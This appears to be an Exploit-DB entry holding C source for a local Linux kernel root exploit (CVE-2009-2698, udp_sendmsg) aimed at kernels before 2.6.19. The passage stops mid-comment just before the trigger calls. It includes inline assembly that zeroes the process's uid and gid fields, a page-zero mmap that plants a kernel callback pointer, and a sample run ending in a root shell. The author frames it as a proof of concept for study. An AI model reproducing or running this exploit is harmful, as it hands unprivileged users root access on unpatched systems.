Exploit-DB #9575
Description: Linux Kernel < 2.6.19 (Debian 4) - 'udp_sendmsg' Local Privilege Escalation (3)
Type: local
Platform: linux
Date: 2009-09-02
Author: Andi

Exploit:
/***********************************************************
 * hoagie_udp_sendmsg.c
 * LOCAL LINUX KERNEL ROOT EXPLOIT (< 2.6.19) - CVE-2009-2698
 *
 * udp_sendmsg bug exploit via (*output) callback function
 * used in dst_entry / rtable
 *
 * Bug reported by Tavis Ormandy and Julien Tinnes 
 * of the Google Security Team
 *
 * Tested with Debian Etch (r0)
 *
 * $ cat /etc/debian_version
 * 4.0
 * $ uname -a
 * Linux debian 2.6.18-4-686 #1 SMP Mon Mar 26 17:17:36 UTC 2007 i686 GNU/Linux
 * $ gcc hoagie_udp_sendmsg.c -o hoagie_udp_sendmsg
 * $ ./hoagie_udp_sendmsg
 * hoagie_udp_sendmsg.c - linux root < 2.6.19 local
 * -andi / void.at
 *
 * sh-3.1# id
 * uid=0(root) gid=0(root) Gruppen=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(andi)
 * sh-3.1#
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
 * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
 * DAMAGE DONE USING THIS PROGRAM.
 *
 * VOID.AT Security
 * andi@void.at
 * http://www.void.at
 *
 ************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/mman.h>

/**
 * this code will be called from NF_HOOK via (*output) callback in kernel mode
 */
void set_current_task_uids_gids_to_zero() {
   asm("push %eax\n"
       "movl $0xffffe000, %eax\n"
       "andl %esp, %eax\n"
       "movl (%eax), %eax\n"
       "movl $0x0, 0x150(%eax)\n"
       "movl $0x0, 0x154(%eax)\n"
       "movl $0x0, 0x158(%eax)\n"
       "movl $0x0, 0x15a(%eax)\n"
       "movl $0x0, 0x160(%eax)\n"
       "movl $0x0, 0x164(%eax)\n"
       "movl $0x0, 0x168(%eax)\n"
       "movl $0x0, 0x16a(%eax)\n"
       "pop  %eax\n");
}

int main(int argc, char **argv) {
   int s;
   struct msghdr header;
   struct sockaddr_in sin;
   char *rtable = NULL;

   fprintf(stderr,
           "hoagie_udp_sendmsg.c - linux root <= 2.6.19 local\n"
	              "-andi / void.at\n\n");

   s = socket(PF_INET, SOCK_DGRAM, 0);
   if (s == -1) {
      fprintf(stderr, "[*] can't create socket\n");
      exit(-1);
   }

   /**
    * initialize required variables
    */
   memset(&header, 0, sizeof(struct msghdr));
   memset(&sin, 0, sizeof(struct sockaddr_in));
   sin.sin_family = AF_INET;
   sin.sin_addr.s_addr = inet_addr("127.0.0.1");
   sin.sin_port = htons(22);
   header.msg_name = &sin;
   header.msg_namelen = sizeof(sin);

   /**
    * and this is the trick:
    * we can use (*output)(struct sk_buff*) from dst_entry (used by rtable) as a callback (=> offset 0x74)
    * so we map our rtable buffer at offset 0 and set output callback function
    *
    * struct dst_entry
    * {
    *         struct dst_entry        *next;
    *         atomic_t                __refcnt;       client references
    *         int                     __use;
    *         struct dst_entry        *child;
    *         struct net_device       *dev;
    *         short                   error;
    *         short                   obsolete;
    *         int                     flags;
    * #define DST_HOST                1
    * #define DST_NOXFRM              2
    * #define DST_NOPOLICY            4
    * #define DST_NOHASH              8
    * #define DST_BALANCED            0x10
    *         unsigned long           lastuse;
    *         unsigned long           expires;
    * 
    *         unsigned short          header_len;     * more space at head required *
    *         unsigned short          trailer_len;    * space to reserve at tail *
    * 
    *         u32                     metrics[RTAX_MAX];
    *         struct dst_entry        *path;
    * 
    *         unsigned long           rate_last;      * rate limiting for ICMP *
    *         unsigned long           rate_tokens;
    * 
    *         struct neighbour        *neighbour;
    *         struct hh_cache         *hh;
    *         struct xfrm_state       *xfrm;
    * 
    *         int                     (*input)(struct sk_buff*);
    *         int                     (*output)(struct sk_buff*);
    * 
    * #ifdef CONFIG_NET_CLS_ROUTE
    *         __u32                   tclassid;
    * #endif
    * 
    *         struct  dst_ops         *ops;
    *         struct rcu_head         rcu_head;
    * 
    *         char                    info[0];
    * };
    *
    * struct rtable
    * {
    *         union
    *         {
    *                 struct dst_entry        dst;
    *                 struct rtable           *rt_next;
    *         } u;
    *
    *         struct in_device        *idev;
    *
    *         unsigned                rt_flags;
    *         __u16                   rt_type;
    *         __u16                   rt_multipath_alg;
    *
    *         __be32                  rt_dst; * Path destination     *
    *         __be32                  rt_src; * Path source          *
    *         int                     rt_iif;
    *
    *         * Info on neighbour *
    *         __be32                  rt_gateway;
    *
    *         * Cache lookup keys *
    *         struct flowi            fl;
    *
    *         * Miscellaneous cached information *
    *          __be32                  rt_spec_dst; * RFC1122 specific destination *
    *         struct inet_peer        *peer; * long-living peer info *
    * };
    *
    */
   rtable = mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
   if (rtable == MAP_FAILED) {
      fprintf(stderr, "[*] mmap failed\n");
      exit(-1);
   }
   *(int *)(rtable + 0x74) = (int)set_current_task_uids_gids_to_zero;

   /* trigger exploit
    *
    * the second sendmsg() call will call ip_append_data() with rt == NULL
    * because of:
    * if